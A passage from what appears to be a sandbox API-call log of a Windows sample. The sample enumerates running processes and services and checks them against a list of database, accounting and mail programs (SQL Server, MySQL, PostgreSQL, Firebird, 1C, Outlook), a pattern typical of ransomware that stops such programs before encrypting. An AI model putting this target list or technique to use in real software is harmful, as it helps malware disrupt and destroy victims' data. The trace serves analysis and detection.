	[0175.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0175.872] lstrlenW (lpString="fvppjh.exe") returned 10
	[0175.872] lstrcmpiW (lpString1="1c8.exe", lpString2="fvppjh.exe") returned -1
	[0175.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="fvppjh.exe") returned -1
	[0175.872] lstrcmpiW (lpString1="outlook.exe", lpString2="fvppjh.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="postgres.exe", lpString2="fvppjh.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fvppjh.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="fvppjh.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fvppjh.exe") returned 1
	[0175.872] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0175.872] lstrlenW (lpString="cmd.exe") returned 7
	[0175.872] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1
	[0175.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1
	[0175.872] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1
	[0175.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1
	[0175.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1
	[0175.873] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0175.873] lstrlenW (lpString="conhost.exe") returned 11
	[0175.873] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0175.873] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0175.873] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0175.873] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0175.873] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1
	[0175.873] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1
	[0175.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1
	[0175.873] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0175.874] lstrlenW (lpString="consent.exe") returned 11
	[0175.874] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1
	[0175.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1
	[0175.874] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1
	[0175.874] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1
	[0175.874] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1
	[0175.874] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1
	[0175.874] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1
	[0175.874] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0175.874] lstrlenW (lpString="dllhost.exe") returned 11
	[0175.874] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1
	[0175.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1
	[0175.875] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1
	[0175.875] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1
	[0175.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1
	[0175.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1
	[0175.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1
	[0175.875] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0175.875] CloseHandle (hObject=0x374) returned 1
	[0175.875] Sleep (dwMilliseconds=0x1f4) 
	[0176.450] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c08b8
	[0176.450] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0176.451] GetLastError () returned 0xea
	[0176.451] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0176.451] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0176.452] CloseServiceHandle (hSCObject=0x41c08b8) returned 1
	[0176.452] lstrlenW (lpString="Appinfo") returned 7
	[0176.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0176.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0176.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0176.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0176.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0176.452] lstrlenW (lpString="AppXSvc") returned 7
	[0176.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.452] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0176.453] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0176.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0176.453] lstrlenW (lpString="Audiosrv") returned 8
	[0176.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0176.453] lstrlenW (lpString="BFE") returned 3
	[0176.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0176.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0176.453] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0176.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0176.453] lstrlenW (lpString="CDPSvc") returned 6
	[0176.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0176.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0176.453] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0176.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.454] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0176.454] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0176.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0176.454] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0176.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.454] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0176.454] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0176.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0176.454] lstrlenW (lpString="CryptSvc") returned 8
	[0176.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0176.470] lstrlenW (lpString="DcomLaunch") returned 10
	[0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0176.470] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0176.470] lstrlenW (lpString="Dhcp") returned 4
	[0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0176.470] lstrlenW (lpString="Dnscache") returned 8
	[0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0176.470] lstrlenW (lpString="DPS") returned 3
	[0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0176.471] lstrlenW (lpString="DusmSvc") returned 7
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0176.471] lstrlenW (lpString="EventLog") returned 8
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0176.471] lstrlenW (lpString="EventSystem") returned 11
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0176.471] lstrlenW (lpString="FontCache") returned 9
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0176.471] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0176.471] lstrlenW (lpString="gpsvc") returned 5
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0176.471] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0176.471] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0176.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0176.471] lstrlenW (lpString="iphlpsvc") returned 8
	[0176.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0176.472] lstrlenW (lpString="KeyIso") returned 6
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0176.472] lstrlenW (lpString="LanmanServer") returned 12
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0176.472] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0176.472] lstrlenW (lpString="lfsvc") returned 5
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0176.472] lstrlenW (lpString="lmhosts") returned 7
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0176.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0176.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0176.472] lstrlenW (lpString="LSM") returned 3
	[0176.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0176.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0176.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0176.473] lstrlenW (lpString="MpsSvc") returned 6
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0176.473] lstrlenW (lpString="NcbService") returned 10
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0176.473] lstrlenW (lpString="netprofm") returned 8
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0176.473] lstrlenW (lpString="NgcSvc") returned 6
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0176.473] lstrlenW (lpString="NlaSvc") returned 6
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0176.473] lstrlenW (lpString="nsi") returned 3
	[0176.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0176.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0176.473] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0176.473] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0176.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0176.474] lstrlenW (lpString="PcaSvc") returned 6
	[0176.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0176.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0176.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0176.535] lstrlenW (lpString="PlugPlay") returned 8
	[0176.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0176.536] lstrlenW (lpString="Power") returned 5
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0176.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0176.536] lstrlenW (lpString="ProfSvc") returned 7
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0176.536] lstrlenW (lpString="RpcEptMapper") returned 12
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0176.536] lstrlenW (lpString="RpcSs") returned 5
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0176.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0176.536] lstrlenW (lpString="SamSs") returned 5
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0176.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0176.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0176.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0176.536] lstrlenW (lpString="Schedule") returned 8
	[0176.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0176.537] lstrlenW (lpString="SecurityHealthService") returned 21
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
